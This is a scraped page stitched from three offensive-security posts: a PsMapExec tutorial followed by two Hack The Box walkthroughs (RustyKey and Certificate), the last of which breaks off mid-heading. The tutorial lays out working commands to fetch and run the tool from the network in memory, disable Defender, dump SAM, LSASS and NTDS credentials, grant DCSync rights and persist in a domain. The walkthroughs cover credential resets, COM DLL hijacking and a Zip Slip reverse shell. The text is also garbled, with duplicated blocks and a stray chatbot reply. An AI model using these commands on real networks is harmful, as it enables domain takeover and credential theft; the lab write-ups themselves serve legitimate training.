Welcome back, aspiring cyberwarriors!

During the past few months, we have been covering different ways to use PowerShell to survive, cause mayhem, and hack systems. We have also collected and created scripts for various purposes, stored in our repository for all of you to use. All these tools are extremely useful during pentests. As you know, with great power comes great responsibility. Today we will cover another tool that will significantly improve how you interact with systems. It’s called PsMapExec.

It was developed by The-Viper-One, inspired by CrackMapExec and its successor NetExec. Although PsMapExec doesn’t have identical capabilities to NetExec, it offers much greater stealth since it can be loaded directly into memory without ever touching the disk. Stealth remains one of the top priorities in hacking. Beyond that, the tool can execute commands even without knowing the password. It’s a big advantage when you gain access to a protected user during phishing or privilege escalation stages of a test.

The script has been around for a while but hasn’t gained much attention. That’s one of the reasons we decided to introduce it here. Like most publicly available offensive tools, it will get flagged by Defender if loaded directly. Skilled hackers often modify such scripts while keeping their core functionality intact, which helps them evade detection. Many offensive scripts rely on native Windows functions, and since those calls can’t be flagged, Microsoft and other vendors often rely on static keyword-based detection instead.

Finding a machine with no active antivirus isn’t always easy but is almost always possible. There are ways to bypass UAC, dump SAM hashes, modify the registry to allow pass-the-hash attacks, and then use a reverse proxy to connect via RDP. Once you have GUI access, your options widen. This approach isn’t the most stealthy, but it remains a reliable one.

Once Defender is disabled, you can move forward and test the script. Let’s explore some of its capabilities.

Loading in Memory

To avoid touching the disk and leaving unnecessary forensic traces, it’s best to execute the script directly in memory. You can do this with the following command:

PS > IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

Once it’s loaded, we can proceed.

Dumping SAM Hashes

One of the first logical steps after gaining access to a host is dumping its hashes. SAM and LSASS attacks are among the most common ways to recover credentials. SAM gives you local user account hashes, while LSASS provides hashes of all connected users, including domain administrators and privileged accounts. In some organizations, critical users may belong to the Protected Users Group, which prevents their credentials from being cached in memory. While not a widespread practice, it’s something worth noting.

To dump local accounts from a single machine:

PS > PsMapExec smb -Targets MANAGER-1 -Module SAM -ShowOutput

To dump local accounts from all machines in a domain:

PS > PsMapExec smb -Targets all -Module SAM -ShowOutput

The output is clean and only includes valid local accounts.

Dumping LSASS Hashes

LSASS (Local Security Authority Subsystem Service) handles authentication on Windows systems. When you log in, your credentials are sent to the Domain Controller for validation, and if approved, you get a session token. Domain credentials are only stored temporarily on local machines. Even when a session is locked, credentials may still reside in memory.

To dump LSASS locally using an elevated shell:

PS > PsMapExec smb -Targets “localhost” -Module “LoginPasswords” -ShowOutput

If the current user doesn’t have permission, specify credentials manually:

PS > PsMapExec smb -Targets “DC” -Username “user” -Password “password” -Module “LoginPasswords” -ShowOutput

You can also perform this remotely with the same syntax.

Remote Command Execution

Every network is different. Some environments implement segmentation to prevent lateral movement, which adds complexity. The process of discovering the right hosts to pivot through is called pivoting.

To view network interfaces on all domain machines:

PS > PsMapExec SMB -Target all -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”

To query a single machine:

PS > PsMapExec SMB -Target “DC” -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”

You can execute other reconnaissance commands in the same way. After identifying valuable hosts, you may want to enable WINRM for stealthier interaction:

PS > PsMapExec SMB -Target “MANAGER-1” -Username “user” -Password “password” -Command “winrm quickconfig -q” -Domain “sekvoya.local”

Kerberos Tickets

Another valuable module PsMapExec provides is Kerbdump, which allows you to dump Kerberos tickets from remote memory. These tickets can be extracted for offline analysis or attacks such as Pass-the-Ticket. In Active Directory environments, Kerberos is responsible for issuing and validating these “passes” for authentication.

Some domains may disable NTLM for security reasons, which means you’ll rely on Kerberos. It’s a normal and frequent part of AD traffic, making it a subtle and effective method.

PS > PsMapExec -Method smb -Targets DC -Username “user” -Password “password” -Module “KerbDump” -ShowOutput

The script parses the output automatically and gives you usable results.

Kerberoasting

Kerberoasting is a different kind of attack compared to simply dumping tickets. It focuses on obtaining Kerberos service tickets and brute-forcing them offline to recover plaintext credentials. The main idea is to assign an SPN to a target user and then extract their ticket.

Set an SPN for a user:

PS > PsMapExec ldap -Targets DC -Module AddSPN -TargetDN “CN=username,DC=SEKVOYA,DC=LOCAL”

Then kerberoast that user:

PS > PsMapExec kerberoast -Target “DC” -Username “user” -Password “password” -Option “kerberoast:adm_ivanov” -ShowOutput

This technique is effective for persistence and privilege escalation.

Ekeys

Kerberos tickets are encrypted using special encryption keys. Extracting these allows you to decrypt or even forge tickets, which can lead to deeper persistence and movement within the domain.

PS > PsMapExec wmi -Targets all -Module ekeys -ShowOutput

Targeting all machines in a big domain can create noise and compromise operational security.

Timeroasting

Another attack that targets Active Directory environments by exploiting how computers sync their clocks using the Network Time Protocol (NTP). In simple terms, it’s a way for hackers to trick a Domain Controller into revealing password hashes for computer accounts. These hashes can then be cracked offline to get the actual passwords, helping attackers move around the network or escalate privileges. Computer passwords are often long and random, but if they’re weak or reused, cracking succeeds. No alerts are triggered since it’s a normal time-sync query. The attack is hard to pull off, but it’s possible. When a new computer account is configured as a “pre-Windows 2000 computer”, its password is set based on its name. If the computer account name is MANAGER$ and it’s configured as “pre-Windows 2000 computer”, then the password will be lowercase computer name without the trailing $). When it isn’t configured like that, the password is randomly generated.

PS > PsMapExec ldap -Targets DC -Module timeroast -ShowOutput

Finding Files

Finding interesting or sensitive files on remote systems is an important phase in any engagement. PsMapExec’s Files module automatically enumerates non-default files within user directories.

PS > PsMapExec wmi -Targets all -Module Files -ShowOutput

ACL Persistence

ACL persistence is a critical step after compromising an Active Directory domain. Credentials will rotate, hackers make mistakes that reveal their presence, and administrators will take measures to evict intruders. Implementing ACL-based persistence allows an attacker to maintain control over privileged groups or to perform DCSync attacks that extract directory data. For those unfamiliar, DCSync is an attack in which you impersonate a domain controller and request replication of the NTDS.dit data from a legitimate DC. Once obtained, the attacker acquires password hashes for all domain accounts, including the krbtgt account. Some recommend burning the domain down after a successful DCSync, because attackers will find ways to regain access.

You might think, “Okay, reset the KRBTGT password” Microsoft recommends doing this twice in quick succession. The first reset changes the hash for new tickets, and the second clears out the old history to fully invalidate everything. But that’s often not enough. Even after a reset, any Golden Tickets the attackers already forged remain usable until they expire. Default ticket lifetimes are 7-10 hours for sessions, but attackers can make them last up to 10 years! During this window, hackers can dig in deeper by creating hidden backdoor accounts, modifying group policies, or infecting other machines.

Assign DCSync privileges:

PS > PsMapExec ldap -Target DC -Module Elevate -TargetDN “CN=username,DC=SEKVOYA,DC=LOCAL”

NTDS Dump

The NTDS dump is the final stage once domain admin privileges are obtained. Extracting NTDS.dit and associated registry hives allows for offline cracking and full credential recovery.

PS > PsMapExec SMB -Targets “DC” -Username “user” -Password “password” -Module NTDS -ShowOutput

This provides complete domain compromise capabilities and the ability to analyze or reuse credentials at will.

Summary

PsMapExec is a powerful framework that takes PowerShell-based network exploitation to a new level. It combines stealth and practicality, making it suitable for both red teamers and penetration testers who need to operate quietly within Windows domains. Its ability to run fully in memory minimizes traces, and its modules cover nearly every stage of network compromise, from reconnaissance and privilege escalation to persistence and data extraction. While we only explored some of its most impactful commands, PsMapExec offers far more under the hood. The more you experiment with it, the more its potential becomes evident.

Want to become a Powershell expert? Join our Powershell for Hackers training, March 10-12!

Introduction to RustyKey:

In this writeup, we will explore the “RustyKey” machine from Hack The Box, categorized as an Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “RustyKey” machine from Hack The Box by achieving the following objectives:

User Flag:

Authenticated to the domain as bb.morgan (password P@ssw0rd123) after exploiting Kerberos flows and time sync. You obtained a Kerberos TGT (bb.morgan.ccache), exported it via KRB5CCNAME, and used evil‑winrm to open an interactive shell on dc.rustykey.htb.

Root Flag:

Escalation to SYSTEM was achieved by abusing machine and delegation privileges. Using the IT‑COMPUTER3$ machine account you modified AD protections and reset ee.reed’s password, then performed S4U2Self/S4U2Proxy to impersonate backupadmin and saved backupadmin.ccache. With that ticket, you used Impacket to upload and run a service payload and spawned a SYSTEM shell.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV 10.10.11.75 -oA initial

nmap -sC -sV 10.10.11.75 -oA initial

Nmap Output:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-29 13:48:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-29 13:48:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

Analysis:

• 53/tcp (DNS – Simple DNS Plus): DNS service is running, likely handling domain name resolution for the internal Active Directory environment.
• 88/tcp (Kerberos-sec): Kerberos authentication service for Active Directory domain rustykey.htb0. Useful for ticket-based authentication attacks such as AS-REP roasting or Kerberoasting.
• 135/tcp (MSRPC): Microsoft RPC endpoint mapper. Commonly used for remote management and DCOM-based communication.
• 139/tcp (NetBIOS-SSN): NetBIOS session service — supports SMB over NetBIOS; can reveal shares or host information.
• 389/tcp (LDAP): Lightweight Directory Access Protocol for Active Directory. Likely allows domain information queries; potential for anonymous LDAP enumeration.
• 445/tcp (Microsoft-DS): SMB over TCP for file sharing and remote service operations; often used for lateral movement or enumeration (e.g., SMB shares, users, policies).
• 464/tcp (kpasswd5): Kerberos password change service; might be used for password reset operations.
• 593/tcp (ncacn_http): Microsoft RPC over HTTP — commonly used for Outlook Anywhere and DCOM-based communication.
• 636/tcp (LDAPS): LDAP over SSL/TLS; encrypted directory service communications.
• 3268/tcp (Global Catalog – LDAP): LDAP global catalog port for multi-domain queries in Active Directory.
• 3269/tcp (Global Catalog over SSL): Secure LDAP global catalog service.
  

Server Enumeration:

Before starting, we need to specify the correct Kerberos realm by creating a krb5.conf file in /etc/krb5.conf and adding the following content above

NXC enumeration

The scans show an Active Directory host (dc.rustykey.htb) with SMB and LDAP/kerberos services; SMB on 10.10.11.75 negotiated x64, signing required, and SMBv1 disabled, while an SMB auth attempt for rr.parker returned STATUS_NOT_SUPPORTED — indicating the server rejected the authentication method the client used rather than definitively proving the password is wrong. The LDAP attempt shows KDC_ERR_WRONG_REALM for rustykey.htb\rr.parker, meaning the Kerberos realm in use didn’t match the domain. Likely causes include incorrect credentials, an auth-method mismatch (NTLM vs Kerberos or wrong NTLM dialect), enforced SMB signing, wrong/unspecified Kerberos realm, account restrictions (disabled/locked/password change required), or tool/quoting issues from special characters. Triage by retrying with a domain-qualified username (RUSTYKEY\rr.parker or rr.parker@RUSTYKEY), testing with alternate SMB clients (crackmapexec, smbclient, Impacket), forcing NTLM if needed, validating Kerberos realm and obtaining a TGT, performing LDAP or rpc enumeration to confirm account status, and escaping or simplifying the password to rule out encoding problems.

This time, the error returned is KRB_AP_ERR_SKEW, indicating a time synchronization issue between the client and the server.

Using nxc with Kerberos authentication (-k) and domain rustykey.htb, the SMB service on dc.rustykey.htb was successfully accessed with the credentials rr.parker:8#t5HE8L!W3A. The enumeration revealed an x64 domain controller with SMB signing enabled and SMBv1 disabled. The command listed 11 local users, including Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin, along with their last password set dates and account descriptions. This confirms that rr.parker’s credentials are valid and have sufficient access to query user accounts over SMB. The successful Kerberos-based login also verifies proper realm configuration and time synchronization, allowing secure enumeration of domain users.

Using Kerberos authentication (-k) with the domain rustykey.htb, LDAP enumeration on dc.rustykey.htb successfully authenticated as rr.parker:8#t5HE8L!W3A. The scan enumerated 11 domain users, showing usernames, last password set dates, and account descriptions. Accounts include Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin. This confirms rr.parker’s credentials are valid and have permission to query domain user information over LDAP. The domain controller responded correctly to Kerberos authentication, indicating proper realm configuration and time synchronization.

Impacket successfully requested a TGT from DC 10.10.11.75 for rustykey.htb/rr.parker and saved the Kerberos ticket to rr.parker.ccache.

ChatGPT said:

Set the Kerberos credential cache by exporting KRB5CCNAME=rr.parker.ccache so Kerberos-aware tools use the saved TGT for authentication.

This directs commands like klist, curl –negotiate, and Impacket utilities to the specified ccache.

Bloodhound enumeration

The DNS timeout indicates that the BloodHound collector couldn’t resolve SRV records or reach the domain controller’s DNS. This often happens due to incorrect DNS settings on your Parrot OS machine, firewall restrictions, or reliance on SRV lookups instead of a direct DC IP.

Synchronizing the clock with ntpdate -s 10.10.11.75 resolved the issue. Kerberos authentication requires the client and domain controller clocks to be closely aligned, and a time drift triggers KRB_AP_ERR_SKEW errors. After syncing, the Kerberos TGT became valid, allowing BloodHound to authenticate and enumerate the domain successfully. You can verify the ticket with klist and rerun BloodHound using -k or your ccache. For a persistent solution, consider running a time service like chrony or ntpd, or continue using ntpdate during the engagement.

IT‑COMPUTER3$ added itself to the HelpDesk group.

Execute timeroast.py.

Because the machine requires Kerberos authentication, enumeration attempts return no results. In addition to AS-REP roasting and Kerberoasting, a new technique called timeroast has recently emerged.

The screenshot above shows the hash as clean.

Hashcat was unable to crack the hash.

The main() function sets up and runs the script: it creates an argument parser with two positional inputs (the timeroast hashes file and a password dictionary opened with latin-1 encoding), parses those arguments, then calls try_crack to iterate through dictionary candidates and compare them to the parsed hashes. For each match it prints a “[+] Cracked RID …” line and increments a counter, and when finished it prints a summary of how many passwords were recovered. The if __name__ == '__main__' guard ensures main() runs only when the script is executed directly.

Running python3 timecrack.py timeroast.txt rockyou.txt recovered one credential: RID 1125 — password Rusty88!. Total passwords recovered: 1.

Impacket requested a TGT for the machine account IT-COMPUTER3$ on rustykey.htb and saved the Kerberos ticket to IT-COMPUTER3$.ccache. The Kerberos credential cache was set to IT-COMPUTER3$.ccache by exporting KRB5CCNAME=IT-COMPUTER3\$.ccache, directing Kerberos-aware tools to use this saved TGT for authentication.

Using BloodHound with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, and ran add groupMember HELPDESK IT-COMPUTER3$ — the account IT-COMPUTER3$ was successfully added to the HELPDESK group.

Using BloodyAD with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, ran set password for bb.morgan to P@ssw0rd123, and the password was changed successfully.

Impacket attempted to request a TGT for bb.morgan@rustykey.htb, but the KDC rejected it with KDC_ERR_ETYPE_NOSUPP, meaning the Key Distribution Centre does not support the encryption type used.

If you need that permission, remove the protection first — bb.morgan.

Ran BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ to remove the account IT from the PROTECTED OBJECTS group, and the tool reported that IT was removed. Using BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ I changed bb.morgan’s password to P@ssw0rd123. I then requested a TGT for bb.morgan with impacket-getTGT and saved the ticket to bb.morgan.ccache

Set KRB5CCNAME to bb.morgan.ccache so Kerberos-aware tools use that credential cache.

If evil-winrm failed, common causes are WinRM not reachable, wrong auth method, or account restrictions. First check connectivity and service: nc -vz 10.10.11.75 5985 (and 5986). Test the WinRM endpoint with curl to see auth behavior:
curl --negotiate -u 'bb.morgan:P@ssw0rd123' http://10.10.11.75:5985/wsman
If you’re using Kerberos, ensure KRB5CCNAME points to the bb.morgan ccache and run evil-winrm with Kerberos (use the tool’s Kerberos flag). If password auth, try: evil-winrm -i 10.10.11.75 -u bb.morgan -p 'P@ssw0rd123'. If that still fails, try an alternate Impacket client (wmiexec.py, psexec.py) to rule out evil-winrm-specific issues. Also verify the account isn’t restricted (must-change-password, disabled, or requires smartcard) and that SMB/WinRM signing/policy isn’t blocking the session. Tell me the exact error if you want targeted troubleshooting.

After synchronising the system clock with rdate, evil-winrm successfully established a session to dc.rustykey.htb using the bb.morgan account in the rustykey.htb domain.

To view the user flag, run type user.txt at the command prompt.

Escalate to Root Privileges Access

Privilege Escalation:

One PDF file stood out and drew my attention.

Download the PDF to our machine.

The message appears to be from bb.morgan to support-team@rustykey.htb, stating the support team will receive elevated registry permissions and temporary elevated rights.
Reviewing BloodHound shows ee.reed is a member of the support-team@rustykey.htb group.

Using the IT‑COMPUTER3$ machine account you removed SUPPORT from the Protected Objects container and reset ee.reed’s password to P@ssword123 — actions that demonstrate domain‑level privilege to alter AD protections and control user accounts. With ee.reed’s credentials you can obtain a TGT, export a ccache, and authenticate to domain services (SMB/WinRM/LDAP) to escalate access and pivot further.

This indicates that the SUPPORT group has modify permissions on the registry and can interact with compression and decompression functions.

Requested a TGT for ee.reed@rustykey.htb from DC 10.10.11.75 and saved the Kerberos ticket to ee.reed.ccache.

Evil‑winrm failed to establish a session using ee.reed’s access.

Let’s start the listener.

Upload runascs.exe

Attempt to execute the payload.

Access obtained as ee.reed.

Oddly, the victim machine has 7‑Zip installed.

It’s 7‑Zip version 24.08.

The command reg query "HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers" queries the Windows Registry to list all entries under the ContextMenuHandlers key for all file types (*) in the HKEY_LOCAL_MACHINE\Software\Classes hive.

Query the registry key HKEY_LOCAL_MACHINE\Software\Classes\*\ShellEx\ContextMenuHandlers\7-Zip.

Display the registry key HKLM\SOFTWARE\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}.

Query the registry key HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32.

This PowerShell command retrieves and displays the detailed access permissions (ACL) for the 7-Zip COM object CLSID registry key (HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}), showing which users or groups can read, modify, or take ownership of the key in a clear, list format.

Download the DLL file onto the target machine.

Add or update the default value of HKLM\Software\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}\InprocServer32 to C:\tmp\dark.dll using reg add with the force flag.

Executing rundll32.exe dark.dll, dllmain produces no visible effect.

Obtained a shell as the user mm.turner.

It shows that the SUPPORT group has registry modify permissions and can access compression and decompression functionalities.

Initially, this PowerShell command failed to configure the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property.

This PowerShell command configures the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property, effectively granting that machine account the ability to act on behalf of other accounts for specific services.

Ran Impacket getST for SPN cifs/DC.rustykey.htb while impersonating backupadmin (DC 10.10.11.75) using rustykey.htb/IT-COMPUTER3$:Rusty88!. No existing ccache was found so a TGT was requested, the tool performed S4U2Self and S4U2Proxy flows to impersonate backupadmin, and saved the resulting ticket as backupadmin.ccache. Deprecation warnings about UTC handling were also printed.

Export the Kerberos ticket to a ccache file, then use Impacket’s secretdump to extract the account hashes.

Using the backupadmin Kerberos ticket (no password), Impacket connected to dc.rustykey.htb, discovered a writable ADMIN$ share, uploaded rFPLWAqZ.exe, created and started a service named BqCY, and spawned a shell — whoami returned NT AUTHORITY\SYSTEM.

To view the root flag, run type root.txt at the command prompt.

The post Hack The Box: RustyKey Machine Walkthrough – Hard Difficulity appeared first on Threatninja.net.

Introduction to Certificate:

In this write-up, we will explore the “Certificate” machine from Hack The Box, categorized as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Certificate” machine from Hack The Box by achieving the following objectives:

User Flag:

We found a login account (lion.sk) by analyzing network traffic and files, then cracked a captured password hash to get the password. Using that password we remotely logged into the machine as lion.sk and opened the desktop to read the user.txt file, which contained the user flag.

Root Flag:

To get full control (root), we abused the machine’s certificate system that issues digital ID cards. By requesting and extracting certificate material and using a small trick to handle the server’s clock, we converted those certificate files into administrative credentials. With those elevated credentials we accessed the system as an admin and read the root.txt file for the root flag.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.71

nmap -sC -sV -oA initial 10.10.11.71

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/certificate]
└──╼ $nmap -sC -sV -oA initial 10.10.11.71 
# Nmap 7.94SVN scan initiated Tue Sep 30 21:48:51 2025 as: nmap -sC -sV -oA initial 10.10.11.71
Nmap scan report for 10.10.11.71
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-title: Did not follow redirect to http://certificate.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-01 03:49:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-01T03:50:56+00:00; +2h00m32s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54

┌─[dark@parrot]─[~/Documents/htb/certificate]
└──╼ $nmap -sC -sV -oA initial 10.10.11.71 
# Nmap 7.94SVN scan initiated Tue Sep 30 21:48:51 2025 as: nmap -sC -sV -oA initial 10.10.11.71
Nmap scan report for 10.10.11.71
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-title: Did not follow redirect to http://certificate.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-01 03:49:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-01T03:50:56+00:00; +2h00m32s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54

445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h00m30s, deviation: 2s, median: 2h00m30s
| smb2-security-mode: 3:1:1: Message signing enabled and required
| smb2-time: date: 2025-10-01T03:50:14

445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h00m30s, deviation: 2s, median: 2h00m30s
| smb2-security-mode: 3:1:1: Message signing enabled and required
| smb2-time: date: 2025-10-01T03:50:14

Analysis:

• 53/tcp — DNS (Simple DNS Plus): name resolution and potential zone/host enumeration.
• 80/tcp — HTTP (Apache/PHP): web app surface for discovery, uploads, and common web vulnerabilities.
• 88/tcp — Kerberos: AD authentication service; useful for ticket attacks and Kerberos enumeration.
• 135/tcp — MSRPC: RPC endpoint for Windows services (potential remote service interfaces).
• 139/tcp — NetBIOS-SSN: legacy SMB session service — useful for NetBIOS/SMB discovery.
• 389/tcp — LDAP: Active Directory directory service (user/group enumeration and queries).
• 445/tcp — SMB (Microsoft-DS): file shares and SMB-based lateral movement/credential theft.
• 464/tcp — kpasswd (Kerberos password change): Kerberos password change service.
• 593/tcp — RPC over HTTP: RPC tunneled over HTTP — can expose various Windows RPC services.
• 636/tcp — LDAPS: Secure LDAP over TLS — AD queries and certificate info via encrypted channel.
• 3268/tcp — Global Catalog (LDAP): AD global catalog queries across the forest (fast user/group lookup).
• 3269/tcp — Global Catalog over TLS: Encrypted global catalog queries for secure AD enumeration.

Web Enumeration:

The website’s interface initially appears conventional.

The Account tab contains options for logging in and registering.

Let’s create a new account here.

You can register in the same way as shown above.

The registration was successful.

Therefore, let’s log in using the credentials we created earlier.

Successful access will display an interface similar to the one shown above.

Clicking the course tab displays the interface shown above.

As a result, let’s enrol in the course.

There are many sessions, but the quiz is what caught my attention at the moment.

There is an upload button available in the quizz section.

We are required to upload a report in PDF, DOCX, PPTX, or XLSX format.

After a while, I uploaded a form.pdf file that contained empty content.

Once the file is successfully uploaded, we need to click the “HERE” link to verify that it has been uploaded into the system.

It worked like a charm.

Exploiting Zip Slip: From Archive to Remote Code Execution

Zip Slip is a critical arbitrary file overwrite vulnerability that can often lead to remote command execution. The flaw impacts thousands of projects, including those from major vendors such as HP, Amazon, Apache, and Pivotal. While this type of vulnerability has existed previously, its prevalence has recently expanded significantly across a wide range of projects and libraries.

Let’s implement a PHP reverse shell to establish a reverse connection back to our host.

Compress the PDF into dark.zip and upload it as a standard archive file.

We also compress the test directory, which includes exploit.php, into a ZIP archive.

Combine the two ZIP archives into a single ZIP file for upload as part of an authorized security assessment in an isolated testing environment.

Initiate the listener.

Upload the shell.zip file to the designated test environment within the authorized, isolated assessment scope.

Access the specified URL within the isolated test environment to observe the application’s behavior.

After a short interval, the connection was reestablished.

Among numerous users, the account xamppuser stood out.

Consequently, inspect the certificate.htb directory located under /xampp/htdocs.

I discovered information indicating that we can utilise the MySQL database.

Executing the MySQL command returned no errors, which is a positive sign.

MySQL Reconnaissance and Attack Surface Mapping

As a result, we navigated to /xampp/mysql/bin, used mysql.exe to run SQL commands, and successfully located the database.

The users table drew my attention.

There is a significant amount of information associated with several users.

While scrolling down, we identified a potential user named sara.b.

The hash was collected as shown above.

All the hashes use Blowfish (OpenBSD), WoltLab Burning Board 4.x, and bcrypt algorithms.

When using Hashcat, a specific hash mode is required.

After extended processing, the password for the suspected account sara.b was recovered as Blink182.

Attempting to access the machine using Sara.B’s credentials.

Unfortunately, Sara.B’s desktop contains no files.

Bloodhound enumeration

We can proceed with further analysis using the BloodHound platform.

Sara.B Enumeration for Lateral Movement

We can observe the WS-01 directory.

There are two different file types present.

The Description.txt file reports an issue with Workstation 01 (WS-01) when accessing the Reports SMB share on DC01. Incorrect credentials correctly trigger a “bad credentials” error, but valid credentials cause File Explorer to freeze and crash. This suggests a misconfiguration or fault in how WS-01 handles the SMB share, potentially due to improper permissions or corrupt settings. The behavior indicates a point of interest for further investigation, as valid access attempts lead to system instability instead of normal access.

Download the pcap file to our machine for further analysis.

Wireshark analaysis

There are numerous packets available for further investigation.

Upon careful analysis of packet 917, I extracted the following Kerberos authentication hash: $krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0.

Alternate Certificate Forging via Python Script

Alternatively, we can use a Python script here

Save the hash to hash.txt.

The recovered password is !QAZ2wsx.

This confirms that the account lion.sk can authenticate to WinRM using the password !QAZ2wsx.

We successfully accessed the lion.sk account as expected.

Read the user flag by running the command: type user.txt.

Escalate To Root Privileges Access

Privilege Escalation:

Sara.B is listed as a member of Account Operators and has GenericAll rights over the lion.sk account. In plain terms, that means Sara.B can fully manage the lion.sk user — change its password, modify attributes, add it to groups, or even replace its credentials. Because Account Operators is a powerful built‑in group and GenericAll grants near‑complete control over that specific account, this is a high‑risk configuration: an attacker who compromises Sara.B (or abuses her privileges) could take over lion.sk and use it to move laterally or escalate privileges.

Synchronise the system clock with certificate.htb using ntpdate: ntpdate -s certificate.htb

ESC3 Enumeration and CA Configuration Analysis

What is ESC3 Vulnerability?

